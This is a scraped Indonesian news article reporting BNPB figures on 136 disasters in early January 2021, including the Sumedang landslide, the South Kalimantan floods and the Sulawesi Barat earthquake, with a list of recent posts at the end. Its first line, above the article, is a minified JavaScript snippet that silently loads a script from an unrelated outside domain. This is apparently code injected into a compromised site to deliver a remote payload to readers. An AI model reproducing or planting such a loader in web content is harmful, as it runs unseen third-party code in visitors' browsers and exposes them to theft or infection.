(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

136 Bencana Terjadi di Awal Tahun: dari Gempa Mamuju hingga Banjir Kalsel!


KANALKALIMANTAN.COM, BANJARBARU– Rentetan bencana alam terjadi di beberapa daerah di Indonesia di Januari 2021. Data Badan Penanggulangan Bencana Nasional (BNPB) pada 1-16 Januari 2021, terjadi 136 bencana alam di Indonesia.

Bencana alam yang terjadi didominasi oleh banjir sebanyak 95 kejadian, tanah longsor 25 kejadian, puting beliung 12 kejadian, gempa bumi 2 kejadian dan gelombang pasang 2 kejadian.

Ratusan bencana alam itu mengakibatkan 80 korban jiwa, 858 orang luka-luka, dan sebanyak 405.584 orang terdampak dan mengungsi. Pencatatan dampak bencana alam ini belum termasuk awan panas gunung Semeru dan erupsi gunung Sinabung.

Berikut ini beberapa bencana alam yang terjadi di Indonesia pada Januari 2021:
1) Longsor Sumedang
Bencana tanah longsor terjadi di Desa Cihanjuang, Kecamatan Cimanggung pada 9 Januari 2021 sekitar pukul 15.00 WIB, saat desa tersebut diliputi hujan deras. Tanah longsor kembali terjadi di daerah itu sekitar pukul 19.30 WIB. Bencana tersebut selain merenggut korban jiwa juga menyebabkan kerusakan rumah warga.
Tim Pencarian dan Penyelamatan (SAR) gabungan hingga Minggu (17/1/2021) sudah menemukan sebanyak 32 korban yang tewas dalam bencana longsor ini. Kepala Kantor SAR Bandung Deden Ridwansyah mengatakan jumlah tersebut diperbarui setelah adanya tiga korban tambahan yang ditemukan pada Ahad ini.
Sejauh ini pencarian masih terus dilanjutkan dengan menggunakan sejumlah peralatan. Adapun pencarian dibagi ke empat sektor, mulai dari perumahan warga, lapangan, hingga area yang diduga tertimbun banyak korban.

2) Banjir Kalsel
Banjir melanda sejumlah kabupaten di Provinsi Kalimantan Selatan sejak Sabtu (9/1/2021). Cuaca buruk menyebabkan dampak banjir semakin meluas dan parah. BNPB mencatatkan, kejadian banjir di Kalsel melanda Kabupaten Tapin, Kota Banjarbaru, Kabupaten Hulu Sungai Tengah, Kabupaten Hulu Sungai Selatan, dan Kabupaten Balangan.
Banjir Kalsel ini menyebabkan puluhan ribu rumah terendam, ratusan ribu jiwa terdampak, dan jalan atau akses transportasi terputus.

3) Banjir dan Longsor Manado
Bencana banjir dan tanah longsor yang terjadi di Kota Manado, Provinsi Sulawesi Utara, pada Sabtu (16/1/2021) telah merenggut setidaknya lima korban jiwa serta menyebabkan satu orang hilang dan memaksa 500 warga mengungsi menurut data BNPB. Menurut siaran pers BNPB pada Minggu (17/1/2021), bencana tersebut juga menyebabkan dua rumah rusak berat dan 10 rumah rusak sedang.
Kepala Pusat Data, Informasi, dan Komunikasi Kebencanaan BNPB Raditya Jati mengatakan, banjir dan tanah longsor terjadi di wilayah Kecamatan Tikala, Paal Dua, Malalayang, Sario, Bunaken, Tuminting, Mapanget, Singkil, dan Wenang di Kota Manado.

4) Gempa Mamuju dan Majene Sulbar
Gempa bumi mengguncang kawasan Majene, Mamuju dan sekitarnya, di wilayah Provinsi Sulawesi Barat, pada Kamis, 14 Januari 2021 dengan magnitudo 5,9. Kemudian, gempa dengan magnitudo 6,2 mengguncang wilayah Majene dan terasa hingga Mamuju pada Jumat (15/1/2021) pukul 01:28:17 WIB.
Kepala Pusat Data, Informasi, dan Komunikasi Kebencanaan BNPB Raditya Jati mengatakan korban jiwa akibat gempa Magnitudo 6,2 di Sulawesi Barat bertambah menjadi 81 orang. “70 orang meninggal dunia di Kabupaten Mamuju dan 11 orang di Kabupaten Majene,” kata Raditya melalui siaran pers yang diterima di Jakarta, Senin (18/1/2021).

5) Erupsi Gunung Sinabung dan Semeru
Gunung Semeru di Kabupaten Lumajang, Jawa Timur mengeluarkan awan panas guguran sejauh 4,5 kilometer pada Sabtu (16/1/2021) sore pukul 17.24 WIB. Masyarakat yang bermukim di sekitar Desa Sumber Mujur dan Desa Curah Koboan dan sekitarnya agar waspada dalam menghadapi potensi bencana yang dapat ditimbulkan.

Dalam hal ini, khususnya masyarakat di sekitar Daerah Aliran Sungai (DAS) Curah Kobokan diimbau agar tetap waspada dalam menghadapi adanya intensitas curah hujan yang tinggi, sebab hal itu dapat memicu terjadinya banjir lahar dingin.
BPBD Kabupaten Karo, Provinsi Sumatera Utara juga melaporkan erupsi Gunung Sinabung pada Minggu (17/1/2021) petang sekitar pukul 16.50 WIB, menyemburkan debu setinggi lebih kurang 500 meter. Saat ini, Gunung Sinabung berada pada status Level III (Siaga) dengan rekomendasi warga maupun petani agar tidak melakukan aktivitas di desa-desa yang sudah direlokasi, serta lokasi di dalam radius 3 km dari puncak Gunung Sinabung. (Kanalkalimantan/tirto)

 

Reporter : Tirto
Editor : Cell

 

 


Al Ghifari

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

5 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

8 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

10 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

10 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

13 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

13 jam ago

This website uses cookies.